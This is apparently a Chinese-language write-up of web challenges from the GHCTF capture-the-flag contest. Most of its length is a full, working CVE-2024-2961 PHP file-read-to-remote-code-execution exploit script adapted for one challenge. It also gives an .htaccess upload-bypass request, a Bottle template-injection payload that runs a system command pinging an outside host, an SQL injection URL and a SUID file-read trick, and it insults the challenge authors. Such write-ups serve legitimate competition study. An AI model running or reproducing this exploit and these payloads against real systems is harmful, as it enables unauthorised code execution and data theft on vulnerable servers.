GHCTF(WEB 部分)

GHCTF(WEB 部分,无聊只做了一部分)

upload?SSTI!

常规ssti,fenjing 秒了即可https://github.com/Marven11/FenJing

自己拿这个模拟一下就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask, request, render_template_string

app = Flask(__name__)
dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__', 'flag', ]

@app.route('/')
def home():
person = "NO ARG"
if request.args.get('name'):
person = request.args.get('name')
for keyword in dangerous_keywords:
if keyword in person:
return "hacker"

template = '<h2> %s!</h2>' % person
return render_template_string(template)

if __name__ == "__main__":
print("Listening on port 5000. ")
app.run("0.0.0.0", 5001)

(>﹏<)

太简单,没咋记录

sql

image.png

?id=1%20union%20select%201,2,3,4,sqlite_version()--+

判断为数字型的有回显的sqlite数据库联合注入

有 waf,过滤了’ “

image.png

只有一个表,那就不需要什么引号了,直接秒

image.png

属于是新生赛的题了

ez_readfile

cve-2024-2961 我对这个洞的流程很熟悉,也是我去年最喜欢的一个漏洞了~挖掘潜力很大

https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.zh-cn.md

脚本改改两行注释即可,这题出题人八成是有点病的,不太像搞安全的.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
show_source(__FILE__);
if (md5($_POST['a']) === md5($_POST['b'])) {
if ($_POST['a'] != $_POST['b']) {
if (is_string($_POST['a']) && is_string($_POST['b'])) {
echo file_get_contents($_GET['file']);
}
}
}
?>
Notice: Undefined index: a in /var/www/html/index.php on line 3

Notice: Undefined index: b in /var/www/html/index.php on line 3

Notice: Undefined index: a in /var/www/html/index.php on line 4

Notice: Undefined index: b in /var/www/html/index.php on line 4

绕过强比较即可

1
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

脑瘫题,脑瘫出题人

怕是自己改poc都改不明白

改完的脑瘫出题人想要的定制脚本如下:

  • exp.py

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    230
    231
    232
    233
    234
    235
    236
    237
    238
    239
    240
    241
    242
    243
    244
    245
    246
    247
    248
    249
    250
    251
    252
    253
    254
    255
    256
    257
    258
    259
    260
    261
    262
    263
    264
    265
    266
    267
    268
    269
    270
    271
    272
    273
    274
    275
    276
    277
    278
    279
    280
    281
    282
    283
    284
    285
    286
    287
    288
    289
    290
    291
    292
    293
    294
    295
    296
    297
    298
    299
    300
    301
    302
    303
    304
    305
    306
    307
    308
    309
    310
    311
    312
    313
    314
    315
    316
    317
    318
    319
    320
    321
    322
    323
    324
    325
    326
    327
    328
    329
    330
    331
    332
    333
    334
    335
    336
    337
    338
    339
    340
    341
    342
    343
    344
    345
    346
    347
    348
    349
    350
    351
    352
    353
    354
    355
    356
    357
    358
    359
    360
    361
    362
    363
    364
    365
    366
    367
    368
    369
    370
    371
    372
    373
    374
    375
    376
    377
    378
    379
    380
    381
    382
    383
    384
    385
    386
    387
    388
    389
    390
    391
    392
    393
    394
    395
    396
    397
    398
    399
    400
    401
    402
    403
    404
    405
    406
    407
    408
    409
    410
    411
    412
    413
    414
    415
    416
    417
    418
    419
    420
    421
    422
    423
    424
    425
    426
    427
    428
    429
    430
    431
    432
    433
    434
    435
    436
    437
    438
    439
    440
    441
    442
    443
    444
    445
    446
    447
    448
    449
    450
    451
    452
    453
    454
    455
    456
    457
    458
    459
    460
    461
    462
    463
    464
    465
    466
    467
    468
    469
    470
    471
    472
    473
    474
    475
    476
    477
    478
    479
    480
    481
    482
    483
    484
    485
    486
    487
    488
    489
    490
    491
    492
    493
    494
    495
    496
    497
    498
    499
    500
    501
    502
    503
    504
    505
    506
    507
    508
    509
    510
    511
    512
    513
    514
    515
    516
    517
    518
    519
    520
    521
    522
    523
    524
    525
    526
    527
    528
    529
    530
    531
    532
    533
    534
    535
    536
    537
    538
    539
    540
    541
    542
    543
    544
    545
    546
    547
    548
    549
    550
    551
    552
    553
    554
    555
    556
    557
    558
    559
    560
    561
    562
    563
    564
    565
    566
    567
    568
    569
    570
    571
    572
    573
    574
    575
    576
    577
    578
    #!/usr/bin/env python3
    #
    # CNEXT: PHP file-read to RCE (CVE-2024-2961)
    # Date: 2024-05-27
    # Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
    #
    # TODO Parse LIBC to know if patched
    #
    # INFORMATIONS
    #
    # To use, implement the Remote class, which tells the exploit how to send the payload.
    #

    from __future__ import annotations
    import base64
    import zlib

    from dataclasses import dataclass
    from requests.exceptions import ConnectionError, ChunkedEncodingError

    from pwn import *
    from ten import *

    HEAP_SIZE = 2 * 1024 * 1024
    BUG = "劄".encode("utf-8")

    class Remote:
    """A helper class to send the payload and download files.

    The logic of the exploit is always the same, but the exploit needs to know how to
    download files (/proc/self/maps and libc) and how to send the payload.

    The code here serves as an example that attacks a page that looks like:

    ```php
    <?php

    $data = file_get_contents($_POST['file']);
    echo "File contents: $data";
    ```

    Tweak it to fit your target, and start the exploit.
    """

    def __init__(self, url: str) -> None:
    self.url = url
    self.session = Session()

    def send(self, path: str) -> Response:
    """Sends given `path` to the HTTP server. Returns the response.
    """
    data = (
    "a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2"
    "&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2"
    )
    headers = {
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded",
    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
    "DNT": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
    "Content-Length": str(len(data)), # Set content length based on the raw data
    }
    return self.session.post(self.url, params={"file": path},data=data,headers=headers)

    def download(self, path: str) -> bytes:
    """Returns the contents of a remote file.
    """
    path = f"php://filter/convert.base64-encode/resource={path}"
    response = self.send(path)
    # data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
    # return base64.decode(data)
    match = re.search(b"([A-Za-z0-9+/=]{64,})", response.content)
    if match:
    data = match.group(1)
    return base64.decode(data)
    else:
    raise ValueError("No valid base64 data found in response.")

    @entry
    @arg("url", "Target URL")
    @arg("command", "Command to run on the system; limited to 0x140 bytes")
    @arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
    @arg("heap", "Address of the main zend_mm_heap structure.")
    @arg(
    "pad",
    "Number of 0x100 chunks to pad with. If the website makes a lot of heap "
    "operations with this size, increase this. Defaults to 20.",
    )
    @dataclass
    class Exploit:
    """CNEXT exploit: RCE using a file read primitive in PHP."""

    url: str
    command: str
    sleep: int = 1
    heap: str = None
    pad: int = 20

    def __post_init__(self):
    self.remote = Remote(self.url)
    self.log = logger("EXPLOIT")
    self.info = {}
    self.heap = self.heap and int(self.heap, 16)

    def check_vulnerable(self) -> None:
    """Checks whether the target is reachable and properly allows for the various
    wrappers and filters that the exploit needs.
    """

    def safe_download(path: str) -> bytes:
    try:
    return self.remote.download(path)
    except ConnectionError:
    failure("Target not [b]reachable[/] ?")


    def check_token(text: str, path: str) -> bool:
    result = safe_download(path)
    return text.encode() == result

    text = tf.random.string(50).encode()
    base64 = b64(text, misalign=True).decode()
    path = f"data:text/plain;base64,{base64}"

    result = safe_download(path)

    if text not in result:
    # msg_failure("Remote.download did not return the test string")
    print("--------------------")
    print(f"Expected test string: {text}")
    print(f"Got: {result}")
    print("--------------------")
    # failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

    msg_info("The [i]data://[/] wrapper works")

    text = tf.random.string(50)
    base64 = b64(text.encode(), misalign=True).decode()
    path = f"php://filter//resource=data:text/plain;base64,{base64}"
    if check_token(text, path):
    failure("The [i]php://filter/[/] wrapper does not work")

    msg_info("The [i]php://filter/[/] wrapper works")

    text = tf.random.string(50)
    base64 = b64(compress(text.encode()), misalign=True).decode()
    path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"

    if check_token(text, path):
    failure("The [i]zlib[/] extension is not enabled")

    msg_info("The [i]zlib[/] extension is enabled")

    msg_success("Exploit preconditions are satisfied")

    def get_file(self, path: str) -> bytes:
    with msg_status(f"Downloading [i]{path}[/]..."):
    return self.remote.download(path)

    def get_regions(self) -> list[Region]:
    """Obtains the memory regions of the PHP process by querying /proc/self/maps."""
    maps = self.get_file("/proc/self/maps")
    maps = maps.decode()
    PATTERN = re.compile(
    r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
    )
    regions = []
    for region in table.split(maps, strip=True):
    if match := PATTERN.match(region):
    start = int(match.group(1), 16)
    stop = int(match.group(2), 16)
    permissions = match.group(3)
    path = match.group(4)
    if "/" in path or "[" in path:
    path = path.rsplit(" ", 1)[-1]
    else:
    path = ""
    current = Region(start, stop, permissions, path)
    regions.append(current)
    else:
    print(maps)
    failure("Unable to parse memory mappings")

    self.log.info(f"Got {len(regions)} memory regions")

    return regions

    def get_symbols_and_addresses(self) -> None:
    """Obtains useful symbols and addresses from the file read primitive."""
    regions = self.get_regions()

    LIBC_FILE = "/dev/shm/cnext-libc"

    # PHP's heap

    self.info["heap"] = self.heap or self.find_main_heap(regions)

    # Libc

    libc = self._get_region(regions, "libc-", "libc.so")

    self.download_file(libc.path, LIBC_FILE)

    self.info["libc"] = ELF(LIBC_FILE, checksec=False)
    self.info["libc"].address = libc.start

    def _get_region(self, regions: list[Region], *names: str) -> Region:
    """Returns the first region whose name matches one of the given names."""
    for region in regions:
    if any(name in region.path for name in names):
    break
    else:
    failure("Unable to locate region")

    return region

    def download_file(self, remote_path: str, local_path: str) -> None:
    """Downloads `remote_path` to `local_path`"""
    data = self.get_file(remote_path)
    Path(local_path).write(data)

    def find_main_heap(self, regions: list[Region]) -> Region:
    # Any anonymous RW region with a size superior to the base heap size is a
    # candidate. The heap is at the bottom of the region.
    heaps = [
    region.stop - HEAP_SIZE + 0x40
    for region in reversed(regions)
    if region.permissions == "rw-p"
    and region.size >= HEAP_SIZE
    and region.stop & (HEAP_SIZE-1) == 0
    and region.path in ("", "[anon:zend_alloc]")
    ]

    if not heaps:
    failure("Unable to find PHP's main heap in memory")

    first = heaps[0]

    if len(heaps) > 1:
    heaps = ", ".join(map(hex, heaps))
    msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
    else:
    msg_info(f"Using [i]{hex(first)}[/] as heap")

    return first

    def run(self) -> None:
    self.check_vulnerable()
    self.get_symbols_and_addresses()
    self.exploit()

    def build_exploit_path(self) -> str:
    """On each step of the exploit, a filter will process each chunk one after the
    other. Processing generally involves making some kind of operation either
    on the chunk or in a destination chunk of the same size. Each operation is
    applied on every single chunk; you cannot make PHP apply iconv on the first 10
    chunks and leave the rest in place. That's where the difficulties come from.

    Keep in mind that we know the address of the main heap, and the libraries.
    ASLR/PIE do not matter here.

    The idea is to use the bug to make the freelist for chunks of size 0x100 point
    lower. For instance, we have the following free list:

    ... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00

    By triggering the bug from chunk ..900, we get:

    ... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???

    That's step 3.

    Now, in order to control the free list, and make it point whereever we want,
    we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,
    we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.
    That's step 2.

    Now, if we were to perform step2 an then step3 without anything else, we'd have
    a problem: after step2 has been processed, the free list goes bottom-up, like:

    0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900

    We need to go the other way around. That's why we have step 1: it just allocates
    chunks. When they get freed, they reverse the free list. Now step2 allocates in
    reverse order, and therefore after step2, chunks are in the correct order.

    Another problem comes up.

    To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.
    Since step2 creates chunks that contain pointers and pointers are generally not
    UTF-8, we cannot afford to have that conversion happen on the chunks of step2.
    To avoid this, we put the chunks in step2 at the very end of the chain, and
    prefix them with `0\n`. When dechunked (right before the iconv), they will
    "disappear" from the chain, preserving them from the character set conversion
    and saving us from an unwanted processing error that would stop the processing
    chain.

    After step3 we have a corrupted freelist with an arbitrary pointer into it. We
    don't know the precise layout of the heap, but we know that at the top of the
    heap resides a zend_mm_heap structure. We overwrite this structure in two ways.
    Its free_slot[] array contains a pointer to each free list. By overwriting it,
    we can make PHP allocate chunks whereever we want. In addition, its custom_heap
    field contains pointers to hook functions for emalloc, efree, and erealloc
    (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and
    then overwrite the use_custom_heap flag to make PHP use these function pointers
    instead. We can now do our favorite CTF technique and get a call to
    system(<chunk>).
    We make sure that the "system" command kills the current process to avoid other
    system() calls with random chunk data, leading to undefined behaviour.

    The pad blocks just "pad" our allocations so that even if the heap of the
    process is in a random state, we still get contiguous, in order chunks for our
    exploit.

    Therefore, the whole process described here CANNOT crash. Everything falls
    perfectly in place, and nothing can get in the middle of our allocations.
    """

    LIBC = self.info["libc"]
    ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
    ADDR_EFREE = LIBC.symbols["__libc_system"]
    ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

    ADDR_HEAP = self.info["heap"]
    ADDR_FREE_SLOT = ADDR_HEAP + 0x20
    ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

    ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

    CS = 0x100

    # Pad needs to stay at size 0x100 at every step
    pad_size = CS - 0x18
    pad = b"\x00" * pad_size
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = compressed_bucket(pad)

    step1_size = 1
    step1 = b"\x00" * step1_size
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1, CS)
    step1 = compressed_bucket(step1)

    # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
    # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

    step2_size = 0x48
    step2 = b"\x00" * (step2_size + 8)
    step2 = chunked_chunk(step2, CS)
    step2 = chunked_chunk(step2)
    step2 = compressed_bucket(step2)

    step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
    step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
    step2_write_ptr = chunked_chunk(step2_write_ptr)
    step2_write_ptr = compressed_bucket(step2_write_ptr)

    step3_size = CS

    step3 = b"\x00" * step3_size
    assert len(step3) == CS
    step3 = chunked_chunk(step3)
    step3 = chunked_chunk(step3)
    step3 = chunked_chunk(step3)
    step3 = compressed_bucket(step3)

    step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
    assert len(step3_overflow) == CS
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = compressed_bucket(step3_overflow)

    step4_size = CS
    step4 = b"=00" + b"\x00" * (step4_size - 1)
    step4 = chunked_chunk(step4)
    step4 = chunked_chunk(step4)
    step4 = chunked_chunk(step4)
    step4 = compressed_bucket(step4)

    # This chunk will eventually overwrite mm_heap->free_slot
    # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
    step4_pwn = ptr_bucket(
    0x200000,
    0,
    # free_slot
    0,
    0,
    ADDR_CUSTOM_HEAP, # 0x18
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    ADDR_HEAP, # 0x140
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    0,
    size=CS,
    )

    step4_custom_heap = ptr_bucket(
    ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
    )

    step4_use_custom_heap_size = 0x140

    COMMAND = self.command
    COMMAND = f"kill -9 $PPID; {COMMAND}"
    if self.sleep:
    COMMAND = f"sleep {self.sleep}; {COMMAND}"
    COMMAND = COMMAND.encode() + b"\x00"

    assert (
    len(COMMAND) <= step4_use_custom_heap_size
    ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
    COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

    step4_use_custom_heap = COMMAND
    step4_use_custom_heap = qpe(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

    pages = (
    step4 * 3
    + step4_pwn
    + step4_custom_heap
    + step4_use_custom_heap
    + step3_overflow
    + pad * self.pad
    + step1 * 3
    + step2_write_ptr
    + step2 * 2
    )

    resource = compress(compress(pages))
    resource = b64(resource)
    resource = f"data:text/plain;base64,{resource.decode()}"

    filters = [
    # Create buckets
    "zlib.inflate",
    "zlib.inflate",

    # Step 0: Setup heap
    "dechunk",
    "convert.iconv.L1.L1",

    # Step 1: Reverse FL order
    "dechunk",
    "convert.iconv.L1.L1",

    # Step 2: Put fake pointer and make FL order back to normal
    "dechunk",
    "convert.iconv.L1.L1",

    # Step 3: Trigger overflow
    "dechunk",
    "convert.iconv.UTF-8.ISO-2022-CN-EXT",

    # Step 4: Allocate at arbitrary address and change zend_mm_heap
    "convert.quoted-printable-decode",
    "convert.iconv.L1.L1",
    ]
    filters = "|".join(filters)
    path = f"php://filter/read={filters}/resource={resource}"

    return path

    @inform("Triggering...")
    def exploit(self) -> None:
    path = self.build_exploit_path()
    start = time.time()

    try:
    self.remote.send(path)
    except (ConnectionError, ChunkedEncodingError):
    pass

    msg_print()

    if not self.sleep:
    msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
    elif start + self.sleep <= time.time():
    msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
    else:
    # Wrong heap, maybe? If the exploited suggested others, use them!
    msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")

    msg_print()

    def compress(data) -> bytes:
    """Returns data suitable for `zlib.inflate`.
    """
    # Remove 2-byte header and 4-byte checksum
    return zlib.compress(data, 9)[2:-4]

    def b64(data: bytes, misalign=True) -> bytes:
    payload = base64.encode(data)
    if not misalign and payload.endswith("="):
    raise ValueError(f"Misaligned: {data}")
    return payload.encode()

    def compressed_bucket(data: bytes) -> bytes:
    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
    return chunked_chunk(data, 0x8000)

    def qpe(data: bytes) -> bytes:
    """Emulates quoted-printable-encode.
    """
    return "".join(f"={x:02x}" for x in data).upper().encode()

    def ptr_bucket(*ptrs, size=None) -> bytes:
    """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
    if size is not None:
    assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)

    return bucket

    def chunked_chunk(data: bytes, size: int = None) -> bytes:
    """Constructs a chunked representation of the given chunk. If size is given, the
    chunked representation has size `size`.
    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
    """
    # The caller does not care about the size: let's just add 8, which is more than
    # enough
    if size is None:
    size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"

    @dataclass
    class Region:
    """A memory region."""

    start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self) -> int:
    return self.stop - self.start

    Exploit()

pwntools的环境配置可能有问题,请务必创建一个3.10的python并且在linux上运行此 exp!

UPUPUP

这题有点意思,一个新的文件上次姿势吧~

首先测了一下,后端过滤很严格,不仅有后缀过滤还有文件头检测!

已知可以上传.htaccess 但是又不能上传一个裸的文件,必须用文件头GIF98a 这种打头,也就是会出现 数据,但是一旦有这种不符合格式的数据出现,当我们去解析jpg时会出现500解析错误

想个法子把这个垃圾数据过滤下~

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST / HTTP/1.1
Host: node2.anna.nssctf.cn:28525
Content-Type: multipart/form-data; boundary=---------------------------14468257611205
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://node2.anna.nssctf.cn:28525/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Length: 378

-----------------------------14468257611205
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/jpg

#define width 20
#define height 10
AddType application/x-httpd-php .jpg
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
# \
-----------------------------14468257611205
Content-Disposition: form-data; name="upload"

上传
-----------------------------14468257611205--

然后直接上个常规图片 🐎 即可!

Message in a Bottle

本次比赛个人认为出得最好的一道题.

涉及知识点: bottle默认模板语法 ,通过ssti打入内存🐎

本题环境: 不出网且无回显

很久之前在去年xctf的一道题上看到有师傅研究 flask 回显的,当时觉得内存 🐎 应该是最适合这个的

这次这个题出的很好!应该打入内存🐎 的角度还有很多,我也还在研究中~

模板语法看: SimpleTemplate 模板引擎 — Bottle 0.13-dev 文档

直接这样写会报错

1
2
3
% name = 'Bob'
%
% end

自己本地调试一下 python 代码即可,可以清楚的看到报错信息,原因就是出题代码里换行的处理不当,导致模板语法解析错误

1
2
3
4
5
\\
% name = 'Bob'
% [i for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_wrap_close"][0].__init__.__globals__['system']('ping jbeticcdyh.iyhc.eu.org')
% end
\\

本地打通,轻轻松松出网,按理到这就该直接弹 shell 然后结束了

image.png

但是赛题环境应该是不出网的!

image.png

给个预告~敬请期待后续详细分析

GetShell

入口点很简单,涉及到linux shell空格的绕过然后直接 rce,拿到入口点,用echo上个 🐎 进去维权进去可以看到有个suid权限的wc 然后提权一把梭!

./wc --files0-from=/flag 2>&1 这个题应该是可以几分钟秒了的,但是也没具体蹲出题时间,就这样吧

Escape!

代码审计

字符串逃逸(增)

image.png

image.png

思路就是字符串逃逸污染Cookie,成为管理员权限

然后拿到权限后,有个写入 🐎 的功能

image.png

经典的死亡绕过,先编码写入再还原即可

奈何本题是ai出题,有用无用的代码混在一起,且出题人连数据库连接都不会写~

没法本地调试一堆 bug,浪费时间.

Popppppp

好久没写 pop 链了,不想分析了~(雾)

小登们加油!!!

ezzzz_pickle

黑盒输入框,有提示,伪造 cookie

Goph3rrr

ssrf

Message in a Bottle plus

前面那题加了 waf,过滤了很多,黑盒没绕出来~

后面再看看